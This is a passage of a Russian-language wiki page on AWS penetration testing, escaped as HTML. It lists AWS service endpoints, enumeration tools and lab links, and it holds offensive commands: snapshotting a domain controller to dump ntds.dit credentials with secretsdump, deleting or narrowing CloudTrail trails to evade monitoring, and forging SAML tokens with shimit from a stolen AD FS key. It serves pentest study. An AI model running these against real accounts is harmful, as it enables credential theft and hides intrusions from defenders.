Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
